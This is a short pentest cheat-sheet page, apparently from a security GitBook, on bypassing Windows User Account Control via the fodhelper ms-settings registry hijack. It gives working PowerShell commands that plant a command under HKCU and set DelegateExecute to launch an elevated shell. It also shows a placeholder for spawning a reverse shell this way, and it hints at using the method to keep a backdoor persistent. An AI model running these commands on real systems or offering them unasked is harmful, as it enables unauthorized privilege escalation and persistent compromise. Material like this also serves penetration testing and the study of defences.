> For the complete documentation index, see [llms.txt](https://gitbook.seguranca-informatica.pt/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook.seguranca-informatica.pt/privilege-escalation-privesc/uac-bypass.md).

# UAC bypass

## UAC bypass in 2 lines

```
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value cmd.exe -Force
New-ItemProperty -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Name DelegateExecute -PropertyType String -Force
cmd -> fodhelper

Spaw anything:
New-Item -Path HKCU:\Software\Classes\ms-settings\shell\open\command -Value 'your-reverse-shell' -Force
```

![](https://4052868066-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MWd-VcvRHVgUtkahm85%2F-MYEYHVIyWPyJgH2D8DV%2F-MYEYNUh90RgzzWSrPky%2Fimage.png?alt=media\&token=4b8122d2-7017-4597-8898-9beac1f4b299)

**Hint:** You can use this to make your shellcode/backdoor persistent! :sunglasses: 

{% embed url="<https://pentestlab.blog/2017/06/07/uac-bypass-fodhelper/>" %}

{% embed url="<https://www.puckiestyle.nl/uac/>" %}